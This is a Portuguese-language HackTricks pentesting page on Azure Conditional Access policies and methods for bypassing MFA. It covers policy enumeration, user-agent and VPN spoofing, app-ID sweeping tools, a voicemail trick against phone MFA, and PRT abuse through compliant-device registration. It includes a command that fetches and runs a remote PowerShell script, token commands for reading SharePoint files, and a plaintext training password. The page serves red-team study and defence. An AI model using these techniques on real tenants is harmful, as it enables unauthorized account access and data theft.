Az - Políticas de Acesso Condicional e Bypass de MFA

Reading time: 10 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Informações Básicas

As políticas de Acesso Condicional do Azure são regras configuradas no Microsoft Azure para impor controles de acesso aos serviços e aplicativos do Azure com base em certas condições. Essas políticas ajudam as organizações a proteger seus recursos aplicando os controles de acesso corretos nas circunstâncias adequadas.
As políticas de acesso condicional basicamente definem Quem pode acessar O Que de Onde e Como.

Aqui estão alguns exemplos:

  1. Política de Risco de Login: Esta política pode ser configurada para exigir autenticação multifator (MFA) quando um risco de login é detectado. Por exemplo, se o comportamento de login de um usuário for incomum em comparação com seu padrão regular, como fazer login de um país diferente, o sistema pode solicitar autenticação adicional.
  2. Política de Conformidade de Dispositivo: Esta política pode restringir o acesso aos serviços do Azure apenas a dispositivos que estejam em conformidade com os padrões de segurança da organização. Por exemplo, o acesso pode ser permitido apenas a partir de dispositivos que tenham software antivírus atualizado ou que estejam executando uma determinada versão do sistema operacional.

Enumeração

bash
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Bypasses de Políticas de Acesso Condicional

É possível que uma política de acesso condicional esteja verificando algumas informações que podem ser facilmente manipuladas, permitindo um bypass da política. E se, por exemplo, a política estiver configurando MFA, o atacante poderá contorná-la.

Ao configurar uma política de acesso condicional, é necessário indicar os usuários afetados e os recursos-alvo (como todos os aplicativos em nuvem).

Também é necessário configurar as condições que irão disparar a política:

  • Rede: IP, intervalos de IP e localizações geográficas
  • Pode ser contornada usando uma VPN ou Proxy para se conectar a um país ou conseguindo fazer login a partir de um endereço IP permitido
  • Riscos da Microsoft: Risco do usuário, risco de login, risco interno
  • Plataformas de dispositivos: Qualquer dispositivo ou selecionar Android, iOS, Windows phone, Windows, macOS, Linux
  • Se “Qualquer dispositivo” não estiver selecionado, mas todas as outras opções estiverem selecionadas, é possível contorná-la usando um user-agent aleatório não relacionado a essas plataformas
  • Aplicativos cliente: As opções são “Navegador”, “Aplicativos móveis e clientes de desktop”, “Clientes Exchange ActiveSync” e “Outros clientes”
  • Para contornar, faça login com uma opção não selecionada
  • Filtro para dispositivos: É possível gerar uma regra relacionada ao dispositivo usado
  • Fluxos de autenticação: As opções são “Fluxo de código de dispositivo” e “Transferência de autenticação”
  • Isso não afetará um atacante, a menos que ele esteja tentando abusar de qualquer um desses protocolos em uma tentativa de phishing para acessar a conta da vítima

Os possíveis resultados são: Bloquear ou Conceder acesso com condições potenciais como exigir MFA, dispositivo em conformidade...

Plataformas de Dispositivos - Condição de Dispositivo

É possível definir uma condição com base na plataforma do dispositivo (Android, iOS, Windows, macOS...), no entanto, isso é baseado no user-agent, então é fácil de contornar. Mesmo fazendo todas as opções aplicarem MFA, se você usar um user-agent que não é reconhecido, você poderá contornar o MFA ou bloqueio:

Basta fazer o navegador enviar um user-agent desconhecido (como Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) para não disparar essa condição.
Você pode alterar o user agent manualmente nas ferramentas de desenvolvedor:

Ou usar uma extensão de navegador como esta.

Localizações: Países, intervalos de IP - Condição de Dispositivo

Se isso estiver definido na política condicional, um atacante poderia simplesmente usar uma VPN no país permitido ou tentar encontrar uma maneira de acessar a partir de um endereço IP permitido para contornar essas condições.

Aplicativos em Nuvem

É possível configurar políticas de acesso condicional para bloquear ou forçar, por exemplo, MFA quando um usuário tenta acessar um aplicativo específico:

Para tentar contornar essa proteção, você deve verificar se consegue acessar qualquer aplicativo.
A ferramenta AzureAppsSweep tem dezenas de IDs de aplicativos hardcoded e tentará fazer login neles e informá-lo, e até mesmo fornecer o token se for bem-sucedido.

Para testar IDs de aplicativos específicos em recursos específicos, você também pode usar uma ferramenta como:

bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

Além disso, também é possível proteger o método de login (por exemplo, se você estiver tentando fazer login pelo navegador ou por um aplicativo de desktop). A ferramenta Invoke-MFASweep realiza algumas verificações para tentar contornar essas proteções também.

A ferramenta donkeytoken também pode ser usada para propósitos semelhantes, embora pareça não estar mantida.

A ferramenta ROPCI também pode ser usada para testar essas proteções e ver se é possível contornar os MFAs ou bloqueios, mas essa ferramenta funciona a partir de uma perspectiva whitebox. Você primeiro precisa baixar a lista de aplicativos permitidos no inquilino e, em seguida, tentará fazer login neles.

Outros Bypasses de Az MFA

Toque de telefone

Uma opção de MFA do Azure é receber uma chamada no número de telefone configurado onde será solicitado ao usuário que envie o caractere #.

caution

Como os caracteres são apenas tons, um atacante poderia comprometer a mensagem de correio de voz do número de telefone, configurando como mensagem o tom de # e, em seguida, ao solicitar o MFA, garantir que o telefone da vítima esteja ocupado (ligando para ele) para que a chamada do Azure seja redirecionada para o correio de voz.

Dispositivos Compatíveis

As políticas frequentemente exigem um dispositivo compatível ou MFA, então um atacante poderia registrar um dispositivo compatível, obter um token PRT e contornar assim o MFA.

Comece registrando um dispositivo compatível no Intune, então obtenha o PRT com:

bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Encontre mais informações sobre esse tipo de ataque na seguinte página:

Az - Pass the PRT

Ferramentas

AzureAppsSweep

Este script obtém algumas credenciais de usuário e verifica se pode fazer login em algumas aplicações.

Isso é útil para ver se você não precisa de MFA para fazer login em algumas aplicações que você pode posteriormente abusar para escalar privilégios.

roadrecon

Obtenha todas as políticas.

bash
roadrecon plugin policies

Invoke-MFASweep

MFASweep é um script PowerShell que tenta fazer login em vários serviços da Microsoft usando um conjunto de credenciais fornecido e tentará identificar se o MFA está habilitado. Dependendo de como as políticas de acesso condicional e outras configurações de autenticação multifatorial estão configuradas, alguns protocolos podem acabar sendo deixados como fator único. Ele também possui uma verificação adicional para configurações de ADFS e pode tentar fazer login no servidor ADFS local se detectado.

bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

Esta ferramenta ajudou a identificar contornos de MFA e, em seguida, abusar de APIs em vários locatários AAD de produção, onde os clientes AAD acreditavam ter MFA aplicado, mas a autenticação baseada em ROPC foi bem-sucedida.

tip

Você precisa ter permissões para listar todos os aplicativos para poder gerar a lista dos aplicativos a serem forçados.

bash
./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token é um conjunto de funções que visa ajudar consultores de segurança que precisam validar Políticas de Acesso Condicional, testes para portais Microsoft com 2FA habilitado, etc..

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Teste cada portal se é possível fazer login sem MFA:

bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Porque o portal Azure não é restrito, é possível coletar um token do endpoint do portal para acessar qualquer serviço detectado pela execução anterior. Neste caso, o Sharepoint foi identificado, e um token para acessá-lo é solicitado:

bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

Supondo que o token tenha a permissão Sites.Read.All (do Sharepoint), mesmo que você não consiga acessar o Sharepoint pela web devido ao MFA, é possível usar o token para acessar os arquivos com o token gerado:

bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks